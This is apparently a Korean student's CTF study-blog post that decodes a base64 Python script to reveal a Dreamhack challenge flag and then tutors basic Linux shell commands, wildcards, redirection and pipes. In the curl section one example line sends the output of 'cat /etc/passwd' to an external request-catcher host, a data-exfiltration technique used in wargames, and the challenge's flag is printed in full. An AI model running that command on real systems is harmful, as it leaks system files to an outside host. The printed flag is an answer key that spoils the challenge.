CTF[3일차]

정지범·2024년 12월 6일
0

CTF

목록 보기
3/9
참고
※참고 자료는 드림핵을 이용하였습니다.
※드림핵의 로드맵대로 공부할 예정입니다.
※스스로를 위해 정리한 참고 자료입니다.

문제 64se64

Description
"Welcome! 👋"을 출력하는 html 페이지입니다.
소스 코드를 확인하여 문제를 풀고 플래그를 획득하세요.
플래그 형식은 DH{...} 입니다.

  • 아래 문자는 HTML base64로 인코딩된 문자인 것 같음
    IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwphc2M9WzY4LCA3MiwgMTIzLCA5OCwgMTAxLCA0OCwgNTIsIDU0LCA5OCwgNTUsIDUzLCA1MCwgNTAsIDk3LCA5NywgNTAsIDEwMSwgNTAsIDU2LCAxMDIsIDUwLCA1NSwgNTQsIDEwMSwgNDgsIDk5LCA1NywgNDksIDQ4LCA1MywgNTAsIDQ5LCAxMDIsIDUwLCA1MSwgOTcsIDQ4LCA1MywgNTYsIDU1LCA0OCwgNDgsIDUzLCA5NywgNTYsIDUxLCA1NSwgNTUsIDUxLCA1NSwgNDgsIDk3LCA0OSwgNDksIDEwMSwgNTMsIDEwMSwgNTIsIDEwMCwgOTksIDQ5LCA1MywgMTAyLCA5OCwgNTAsIDk3LCA5OCwgMTI1XQphcnI9WzAgZm9yIGkgaW4gcmFuZ2UoNjgpXQpmb3IgaSBpbiByYW5nZSgwLDY4KToKICAgIGFycltpXT1jaHIoYXNjW2ldKQpmbGFnPScnLmpvaW4oYXJyKQpwcmludChmbGFnKQ==
  • 아래 스크립트는 base64로 인코딩된 python 스크립트를 디코딩한 결과이다.
#!/usr/bin/env python3
asc=[68, 72, 123, 98, 101, 48, 52, 54, 98, 55, 53, 50, 50, 97, 97, 50, 101, 50, 56, 102, 50, 55, 54, 101, 48, 99, 57, 49, 48, 53, 50, 49, 102, 50, 51, 97, 48, 53, 56, 55, 48, 48, 53, 97, 56, 51, 55, 55, 51, 55, 48, 97, 49, 49, 101, 53, 101, 52, 100, 99, 49, 53, 102, 98, 50, 97, 98, 125]
arr=[0 for i in range(68)]
for i in range(0,68):
    arr[i]=chr(asc[i])
flag=''.join(arr)
print(flag)

python 코드 해석

  • asc 리스트 : ASCII 코드로 이루어진 숫자들의 배열
  • arr 리스트 : asc의 각 요소를 chr()로 문자로 변환하여 새 리스트에 저장
  • flag : 모든 문자를 하나의 문자열로 결합하여 flag에 저장
  • print : flag 값을 출력

리눅스 사용법

셸(Shell)

셸은 유저가 리눅스 시스템을 이용할 수 있는 인터페이스입니다.
셸은 유저에게 입력을 받고 운영체제가 그것을 프로그램으로 처리하면 그 결과를 유저에게 출력한다.

  • 터미널 실행 단축키

    • crtl + alt + T(윈도우, 리눅스 기준)
    • control + option + T(맥 기준)
  • 단축키를 눌러 터미널을 실행하면 bash 셸이 자동으로 실행됩니다.

셸 프롬프트(Shell Prompt)

bash가 실행되면 아래와 같은 텍스트가 출력됩니다.

user@user-VirtualBox:~$
  • 이것을 셸 프롬프트라고 부릅니다.
  • 유저는 셸 프롬프트를 보고 셸이 명령어를 입력 받을 준비가 되었음을 알 수 있습니다.

기초적인 명령어

셸을 사용하여 리눅스를 이용하기 위해 필요한 기초적인 명령어들을 알아보겠습니다.

1. sudo apt update

sudo apt update는 apt 명령어로 설치 가능한 소프트웨어 패키지 목록을 업데이트합니다.

그리고 각 소프트웨어 패키지 별로 어떤 버전을 설치할 수 있는지도 없데이트합니다.

  • sudo apt update실행 결과는 다음과 같습니다.
user@user-VirtualBox:~$ sudo apt update
[sudo] password for user:
Get:1 http://security.ubuntu.com/ubuntu jammy-security InRelease [110 kB]
Hit:2 http://kr.archive.ubuntu.com/ubuntu jammy InRelease
Hit:3 http://kr.archive.ubuntu.com/ubuntu jammy-updates InRelease
Hit:4 http://kr.archive.ubuntu.com/ubuntu jammy-backports InRelease
Fetched 110 kB in 2s (60.0 kB/s)
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
3 packages can be upgraded. Run 'apt list --upgradable' to see them.
user@user-VirtualBox:~$

2. sudo apt upgrade

리눅스에 설치된 소프트웨어 패키지의 버전을 업그레이드합니다.

오래된 소프트웨어 패키지에 존재하는 취약점은 보안 문제를 일으킬 수 있습니다.
따라서 주기적으로 소프트웨어 패키지를 업그레이드하여 보안 문제를 예방하는 작업이 중요합니다.

  • sudo apt upgrade 실행 결과는 다음과 같습니다.
user@user-VirtualBox:~$ sudo apt upgrade
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Calculating upgrade... Done
The following packages were automatically installed and are no longer required:
  libflashrom1 libftdi1-2 linux-headers-5.15.0-43
  linux-headers-5.15.0-43-generic linux-image-5.15.0-43-generic
  linux-modules-5.15.0-43-generic linux-modules-extra-5.15.0-43-generic
Use 'sudo apt autoremove' to remove them.
#
# News about significant security updates, features and services will
# appear here to raise awareness and perhaps tease /r/Linux ;)
# Use 'pro config set apt_news=false' to hide this and future APT news.
#
The following packages have been kept back:
  libglib2.0-0 libglib2.0-bin libglib2.0-data
0 upgraded, 0 newly installed, 0 to remove and 3 not upgraded.
user@user-VirtualBox:~$

3. id

현재 유저의 유저 ID와 해당 유저가 속해있는 그룹 ID를 출력합니다.

리눅스는 권한을 기반으로 파일을 읽고 쓰고 실행할 수 있기 때문에 주로 자신이 해당하는 권한을 가지고 있는지 확인하기 위해 사용하는 명령어입니다.

user@user-VirtualBox:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare)
user@user-VirtualBox:~$

4. pwd

Print Working Directory의 줄임말로 현재 작업 중인 디렉토리의 경로를 출력합니다.
아래 pwd 명령어 실행 결과에 따르면 현재 /home/user 디렉토리에 위치함을 알 수 있습니다.

user@user-VirtualBox:~$ pwd
/home/user
user@user-VirtualBox:~$

5. ls

List의 줄임말로 디렉토리의 내용을 출력하는 명령어입니다.

  • ls 명령어 실행 결과는 다음과 같습니다.
user@user-VirtualBox:~$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  snap  Templates  Videos
user@user-VirtualBox:~$
  • -l 플래그를 추가한 형태인 ls -l 을 실행하면 다음과 같이 더 자세한 정보를 함께 출력합니다.
user@user-VirtualBox:~$ ls -l
total 36
drwxr-xr-x 2 user user 4096 11월 30 18:46 Desktop
drwxr-xr-x 2 user user 4096 11월 30 18:46 Documents
drwxr-xr-x 2 user user 4096 11월 30 18:46 Downloads
drwxr-xr-x 2 user user 4096 11월 30 18:46 Music
drwxr-xr-x 2 user user 4096 11월 30 18:46 Pictures
drwxr-xr-x 2 user user 4096 11월 30 18:46 Public
drwx------ 3 user user 4096 11월 30 18:45 snap
drwxr-xr-x 2 user user 4096 11월 30 18:46 Templates
drwxr-xr-x 2 user user 4096 11월 30 18:46 Videos
user@user-VirtualBox:~$
  • 현재 디렉토리 뿐만 아니라 임의 디렉토리의 내용을 출력하는 것도 가능합니다.
  • 루트 디렉토리인 / 디렉토리의 내용을 출력하는 ls -l / 을 실행하면 다음과 같습니다.
user@user-VirtualBox:~$ ls -l /
total 3991632
lrwxrwxrwx   1 root root          7 11월 30 18:15 bin -> usr/bin
drwxr-xr-x   4 root root       4096 12월  1 14:10 boot
drwxrwxr-x   2 root root       4096 11월 30 18:25 cdrom
drwxr-xr-x  19 root root       4180 12월  1 14:25 dev
drwxr-xr-x 130 root root      12288 12월  1 14:09 etc
drwxr-xr-x   3 root root       4096 11월 30 18:27 home
lrwxrwxrwx   1 root root          7 11월 30 18:15 lib -> usr/lib
lrwxrwxrwx   1 root root          9 11월 30 18:15 lib32 -> usr/lib32
lrwxrwxrwx   1 root root          9 11월 30 18:15 lib64 -> usr/lib64
lrwxrwxrwx   1 root root         10 11월 30 18:15 libx32 -> usr/libx32
drwx------   2 root root      16384 11월 30 18:14 lost+found
drwxr-xr-x   3 root root       4096 11월 30 19:49 media
drwxr-xr-x   2 root root       4096  8월  9 20:48 mnt
drwxr-xr-x   3 root root       4096 11월 30 19:55 opt
dr-xr-xr-x 260 root root          0 12월  1 14:11 proc
drwx------   4 root root       4096 12월  1 14:17 root
drwxr-xr-x  34 root root        920 12월  1 18:01 run
lrwxrwxrwx   1 root root          8 11월 30 18:15 sbin -> usr/sbin
drwxr-xr-x  11 root root       4096  8월  9 20:55 snap
drwxr-xr-x   2 root root       4096  8월  9 20:48 srv
-rw-------   1 root root 4087349248 11월 30 18:15 swapfile
dr-xr-xr-x  13 root root          0 12월  1 14:11 sys
drwxrwxrwt  21 root root       4096 12월  1 18:01 tmp
drwxr-xr-x  14 root root       4096  8월  9 20:48 usr
drwxr-xr-x  14 root root       4096  8월  9 20:54 var
user@user-VirtualBox:~$

6. cd

Change Directory의 줄임말로 작업중인 디렉토리를 변경하는 명령어입니다.

명령어 설명에 앞서 절대 경로(Absolute Path)상대 경로(Relative Path) 에 대해 알아야 합니다.

절대 경로는 루트 디렉토리 / 를 시작으로 모든 경로를 적어서 표현하는 경로입니다. /home/user 도 절대 경로 입니다.

상대 경로는 현재 디렉토리를 기준으로 상위 디렉토리 또는 하위 디렉토리로 뻗어 나가는 경로를 말합니다.
예를 들어 cd ..는 현재 디렉토리에서 부모 디렉토리로 이동합니다.
가령 현재 디렉토리가 /home/user 일 때 cd .. 를 실행하면 /home 으로 이동합니다.

몇 가지 특별히 정해진 고유한 경로도 있습니다.
예를 들어 ~ 는 현재 유저의 홈 디렉토리이며, - 는 이전에 위치했던 디렉토리를 나타냅니다.

  • 다음은 cd 명령어와 pwd 명령어를 실행한 예시입니다.
user@user-VirtualBox:~$ pwd
/home/user
user@user-VirtualBox:~$ cd /
user@user-VirtualBox:/$ pwd
/
user@user-VirtualBox:/$ cd /home/user
user@user-VirtualBox:~$ pwd
/home/user
user@user-VirtualBox:~$ cd ..
user@user-VirtualBox:/home$ pwd
/home
user@user-VirtualBox:/home$ cd ~
user@user-VirtualBox:~$ pwd
/home/user
user@user-VirtualBox:~$

7. mkdir

Make Directory의 줄임말로 디렉토리를 생성하는 명령어입니다.

  • /home/user 디렉토리에 위치할 때 mkdir new_dir 명령어로 new_dir 디렉토리를 생성하면, 다음과 같이 new_dir 가 새롭게 추가됩니다.
user@user-VirtualBox:~$ mkdir new_dir
user@user-VirtualBox:~$ ls -l
total 40
drwxr-xr-x 2 user user 4096 11월 30 18:46 Desktop
drwxr-xr-x 2 user user 4096 11월 30 18:46 Documents
drwxr-xr-x 2 user user 4096 11월 30 18:46 Downloads
drwxr-xr-x 2 user user 4096 11월 30 18:46 Music
drwxrwxr-x 2 user user 4096 12월  1 20:58 new_dir <<<<<<<<<< 새롭게 추가된 디렉토리
drwxr-xr-x 2 user user 4096 11월 30 18:46 Pictures
drwxr-xr-x 2 user user 4096 11월 30 18:46 Public
drwx------ 3 user user 4096 11월 30 18:45 snap
drwxr-xr-x 2 user user 4096 11월 30 18:46 Templates
drwxr-xr-x 2 user user 4096 11월 30 18:46 Videos
user@user-VirtualBox:~$ 

8. touch

touch 명령어는 비어 있는 새로운 파일을 만드는 데 사용합니다.

  • 앞서 생성한 new_dir 디렉토리로 이동 후 ls -l 명령어를 실행해보면 아무런 파일도 존재하지 않습니다.
user@user-VirtualBox:~$ cd new_dir
user@user-VirtualBox:~/new_dir$ ls -l
total 0
user@user-VirtualBox:~/new_dir$
  • 이때 touch new_file 명령어를 실행한 후 ls -l 을 실행하면, 다음과 같이 new_file 파일이 생성되었습니다.
user@user-VirtualBox:~/new_dir$ touch new_file
user@user-VirtualBox:~/new_dir$ ls -l
total 0
-rw-rw-r-- 1 user user 0 12월  1 20:59 new_file
user@user-VirtualBox:~/new_dir$

9. mv

Move의 줄임말로 파일이나 디렉토리의 위치를 옮길 때 사용하는 명령어입니다.

파일이나 디렉토리의 이름을 변경할 때에도 사용할 수 있습니다.

  • 먼저 아래와 같이 파일 이름을 변경할 수 있습니다. new_file 파일의 이름을 old_file로 변경하는 모습입니다.
user@user-VirtualBox:~/new_dir$ ls -l
total 0
-rw-rw-r-- 1 user user 0 12월  1 20:59 new_file
user@user-VirtualBox:~/new_dir$ mv new_file old_file
user@user-VirtualBox:~/new_dir$
  • 아래와 같이 파일을 옮길 수도 있습니다. old_file 을 상위 디렉토리로 옮기는 모습입니다.
user@user-VirtualBox:~/new_dir$ ls
old_file
user@user-VirtualBox:~/new_dir$ ls ..
Desktop    Downloads  new_dir   Public  Templates
Documents  Music      Pictures  snap    Videos
user@user-VirtualBox:~/new_dir$ mv old_file ..
user@user-VirtualBox:~/new_dir$ ls
user@user-VirtualBox:~/new_dir$ ls ..
Desktop    Downloads  new_dir   Pictures  snap       Videos
Documents  Music      old_file  Public    Templates
user@user-VirtualBox:~/new_dir$

10. rm

Remove의 줄임말로 파일이나 디렉토리를 삭제하는 명령어입니다.

  • 다음은 abcd 파일을 생성한 후 삭제하는 모습입니다.
user@user-VirtualBox:~/new_dir$ touch abcd
user@user-VirtualBox:~/new_dir$ ls -l
total 0
-rw-rw-r-- 1 user user 0 12월  2 11:05 abcd
user@user-VirtualBox:~/new_dir$ rm abcd
user@user-VirtualBox:~/new_dir$ ls -l
total 0
user@user-VirtualBox:~/new_dir$

디렉토리 삭제는 -r 플래그를 추가한 rm -r로 수행할 수 있습니다.

  • 다음은 dir 디렉토리를 생성한 후 삭제하는 모습입니다.
user@user-VirtualBox:~/new_dir$ mkdir dir
user@user-VirtualBox:~/new_dir$ ls -l
total 4
drwxrwxr-x 2 user user 4096 12월  2 11:11 dir
user@user-VirtualBox:~/new_dir$ rm -r dir
user@user-VirtualBox:~/new_dir$ ls -l
total 0
user@user-VirtualBox:~/new_dir$

11. cat

파일의 내용을 출력하는 명령어입니다.

cat 파일경로 형식으로 사용할 수 있습니다.
다음은 /etc/passwd 파일의 내용을 출력하는 모습입니다.
/etc/passwd 파일은 운영체제에 접근할 수 있는 유저 목록을 담고 있습니다.

user@user-VirtualBox:~/new_dir$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
... (생략)
user:x:1000:1000:user,,,:/home/user:/bin/bash
fwupd-refresh:x:128:136:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
vboxadd:x:999:1::/var/run/vboxadd:/bin/false
user@user-VirtualBox:~/new_dir$

12. file

파일의 유형을 출력하는 명령어입니다.

file 파일경로 형식으로 사용할 수 있습니다. 다음은 /bin/ls 파일의 유형을 출력하는 모습입니다.
/bin/ls 파일은 ls 명령어를 입력하면 실행되는 실행 파일입니다.

user@user-VirtualBox:~$ file /bin/ls
/bin/ls: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=897f49cafa98c11d63e619e7e40352f855249c13, for GNU/Linux 3.2.0, stripped
user@user-VirtualBox:~$

13. echo

셸에 유저가 입력한 텍스트를 출력합니다.

다음은 echo 명령어로 Hello World!를 출력하는 모습입니다.

user@user-VirtualBox:~/new_dir$ echo "Hello world!"
Hello world!
user@user-VirtualBox:~/new_dir$

echo 명령어를 사용해서 파일을 생성할 수도 있습니다.
다음과 같이 echo 명령문 끝에 > 파일명 을 이어 붙여 실행하면 파일명 을 이름으로 가지는 파일을 생성하고 echo 뒤에 입력한 내용을 파일 내용으로 저장합니다.

  • 다음은 파일명이 hello 이고 내용이 Hello world! 인 파일을 생성한 후 그 내용을 출력하는 모습입니다.
user@user-VirtualBox:~/new_dir$ ls -l
total 0
user@user-VirtualBox:~/new_dir$ echo "Hello world!" > hello
user@user-VirtualBox:~/new_dir$ ls -l
total 4
-rw-rw-r-- 1 user user 13 12월  2 13:05 hello
user@user-VirtualBox:~/new_dir$ cat hello
Hello world!
user@user-VirtualBox:~/new_dir$

14. cp

Copy의 줄임말로 파일이나 디렉토리를 복사하는 명령어입니다.

다음은 위에서 생성한 hello 파일을 world 라는 이름으로 복사하는 모습입니다.
디렉토리를 복사할 때는 -r 플래그를 붙인 형태인 cp -r 을 사용합니다.

user@user-VirtualBox:~/new_dir$ ls -l
total 4
-rw-rw-r-- 1 user user 13 12월  2 13:05 hello
user@user-VirtualBox:~/new_dir$ cp hello world
user@user-VirtualBox:~/new_dir$ ls -l
total 8
-rw-rw-r-- 1 user user 13 12월  2 13:05 hello
-rw-rw-r-- 1 user user 13 12월  2 13:08 world
user@user-VirtualBox:~/new_dir$ cat world
Hello world!
user@user-VirtualBox:~/new_dir$

15. grep

전체에서 특정 문자열을 찾을 때 사용합니다.

grep 문자열 파일 형식으로 사용할 수 있습니다.

  • 다음은 grep root /etc/passwd를 수행하여 /etc/passwd 파일에서 root 문자열이 포함된 행을 출력하는 모습입니다.
user@user-VirtualBox:~/new_dir$ grep root /etc/passwd
root:x:0:0:root:/root:/bin/bash
nm-openvpn:x:121:127:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin

16. man

Manual의 줄임말로 특정 명령어의 매뉴얼을 보여주는 명령어입니다.

매뉴얼은 명령어 사용법, 옵션, 예제 등 유용한 정보를 담고 있습니다.

  • 다음은 man cp 명령어 실행 결과입니다.
  • 명령어를 실행하면 아래와 같이 cp 명령어의 매뉴얼을 보여줍니다.
CP(1)                            User Commands                           CP(1)
​
NAME
       cp - copy files and directories
​
SYNOPSIS
       cp [OPTION]... [-T] SOURCE DEST
       cp [OPTION]... SOURCE... DIRECTORY
       cp [OPTION]... -t DIRECTORY SOURCE...
​
DESCRIPTION
       Copy SOURCE to DEST, or multiple SOURCE(s) to DIRECTORY.
​
       Mandatory  arguments  to  long  options are mandatory for short options
       too.
​
       -a, --archive
              same as -dR --preserve=all
​
       --attributes-only
              don't copy the file data, just the attributes
​
       --backup[=CONTROL]
 Manual page cp(1) line 1 (press h for help or q to quit)

17. curl

client URL의 줄임말로 서버에 데이터를 보내거나 서버로부터 데이터를 받는 데이터 전송 명령어입니다.

curl [옵션] URL 형식으로 사용할 수 있으며, HTTP, HTTPS, FTP 등 다양한 프로토콜을 지원합니다.

  • 다음은 ‘http://www.google.com ’ 웹 서버의 콘텐츠를 반환하여 출력하는 모습입니다.
user@user-VirtualBox:~$ curl https://www.google.com
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="ko"> 
... (생략)
user@user-VirtualBox:~$
  • curl 명령어의 주요 옵션은 다음과 같습니다. 아래 옵션들을 지금 모두 이해할 필요는 없으며, 다양한 방식으로 사용할 수 있다는 점을 기억하시면 됩니다.
    • -o file : 전송 받은 데이터를 파일에 저장합니다.
    • -i : 결과 값에 HTTP 응답 헤더를 포함합니다.
    • -X "method" : HTTP 요청 메소드를 지정합니다.
    • -d "key=value" : HTTP POST 메소드로 데이터를 전송합니다.

      curl을 이용한 명령어 실행 결과 전송
  • curl 은 워게임 문제를 풀 때도 유용하게 사용됩니다.
    예를 들어 풀이자가 명령어 실행 결과를 볼 수 없는 경우, 결과를 curl 명령어에 포함하여 풀이자의 웹 서버로 전송하면 확인이 가능합니다.
    다음은 서버 내 /etc/passwd 파일을 https://hmqtzgx.request.dreamhack.games에 POST 데이터로 전송하는 예시입니다.
$ curl "https://hmqtzgx.request.dreamhack.games" -d "`cat /etc/passwd`"

와일드카드

와일드카드(wildcards)는 리눅스에서 임의의 다른 문자를 나타낼 수 있는 특수 문자들을 의미합니다.
주로 명령어를 다른 문자열로 대체하기 위해 사용합니다.

?
a-z, 0-9 범위 내 임의의 1개 문자로 대체됩니다.

  • 다음은 cat he?lo 를 실행하여 hello 파일을 출력하는 모습입니다.
user@user-VirtualBox:~/new_dir$ ls -l
total 8
-rw-rw-r-- 1 user user 13 12월  2 13:05 hello
-rw-rw-r-- 1 user user 13 12월  2 13:08 world
user@user-VirtualBox:~/new_dir$ cat he?lo
Hello world!
user@user-VirtualBox:~/new_dir$

*
a-z, 0-9 범위 내 임의의 0개 이상 문자로 대체됩니다.

  • 다음은 cat h* 명령어를 입력하여 hello는 모습입니다.
user@user-VirtualBox:~/new_dir$ cat h*
Hello world!
user@user-VirtualBox:~/new_dir$ 

[]
[문자1-문자2] 혹은 [문자1, 문자2, …] 형태로 범위를 지정합니다. 범위 내 모든 문자로 대체될 수 있습니다.

  • 다음은 ls test[0-9] 를 실행하여 파일명이 test 로 시작하고 마지막이 숫자인 파일을 모두 출력하는 모습입니다.
user@user-VirtualBox:~/new_dir$ ls -l
total 8
-rw-rw-r-- 1 user user 13 12월  2 13:05 hello
-rw-rw-r-- 1 user user 13 12월  2 13:08 world
user@user-VirtualBox:~/new_dir$ touch test1 test2 test3
user@user-VirtualBox:~/new_dir$ ls -l
total 8
-rw-rw-r-- 1 user user 13 12월  2 13:05 hello
-rw-rw-r-- 1 user user  0 12월  2 13:10 test1
-rw-rw-r-- 1 user user  0 12월  2 13:10 test2
-rw-rw-r-- 1 user user  0 12월  2 13:10 test3
-rw-rw-r-- 1 user user 13 12월  2 13:08 world
user@user-VirtualBox:~/new_dir$ ls test[0-9]
test1  test2  test3
user@user-VirtualBox:~/new_dir$ 

리다이렉션

리다이렉션(redirection)은 모니터에 나타나는 표준 출력 혹은 키보드로 입력하는 표준 입력을 다른 곳으로 변경하는 작업입니다.
주로 어떤 명령어의 결과를 파일로 저장하거나, 다른 명령어의 입력으로 전달하는 형태로 리다이렉션합니다.

명령어>파일

명령어 표준 출력을 파일로 변경합니다.
파일이 없으면 새로 만들고, 있으면 덮어씁니다.

  • 다음은 ls test[0-9] 명령어 결과를 world 파일에 쓰는 예시입니다.
user@user-VirtualBox:~/new_dir$ ls test[0-9]
test1  test2  test3
user@user-VirtualBox:~/new_dir$ ls test[0-9] > world
user@user-VirtualBox:~/new_dir$ cat world
test1
test2
test3
user@user-VirtualBox:~/new_dir$

명령어>>파일

명령어 표준 출력을 파일로 변경합니다.
파일이 없으면 새로 만들고, 있으면 이어서 씁니다.

  • 다음은 cat hello 명령어 결과를 world 파일에 쓰는 예시입니다.
user@user-VirtualBox:~/new_dir$ cat hello
hello
user@user-VirtualBox:~/new_dir$ cat hello >> world
user@user-VirtualBox:~/new_dir$ cat world
test1
test2
test3
hello
user@user-VirtualBox:~/new_dir$

명령어<파일

명령어 표준 입력을 파일로 변경합니다.
파일로부터 표준 입력을 받아 명령어를 수행합니다.

  • 다음은 world 파일 내용을 표준 입력으로 받아 grep test 명령어를 수행하는 예시입니다.
user@user-VirtualBox:~/new_dir$ cat world
test1
test2
test3
hello
user@user-VirtualBox:~/new_dir$ grep test < world
test1
test2
test3
user@user-VirtualBox:~/new_dir$

파이프

파이프(pipe)는 리다이렉션의 한 형태로, 명령어 결과 표준 출력을 다른 명령어의 표준 입력으로 보낼 때 사용합니다.
파이프는 | 문자로 나타냅니다.

  • 다음은 ls -l 명령 결과에서 hello가 포함된 행을 찾아 출력하는 예시입니다.
user@user-VirtualBox:~/new_dir$ ls -l
total 8
-rw-rw-r-- 1 user user 13 12월  2 13:05 hello
-rw-rw-r-- 1 user user  0 12월  2 13:10 test1
-rw-rw-r-- 1 user user  0 12월  2 13:10 test2
-rw-rw-r-- 1 user user  0 12월  2 13:10 test3
-rw-rw-r-- 1 user user 13 12월  2 13:08 world
user@user-VirtualBox:~/new_dir$ ls -l | grep hello
-rw-rw-r-- 1 user user 13 12월  2 13:05 hello
user@user-VirtualBox:~/new_dir$ 



출처 및 참고자료

https://learn.dreamhack.io/441#10

profile
안녕하세요

0개의 댓글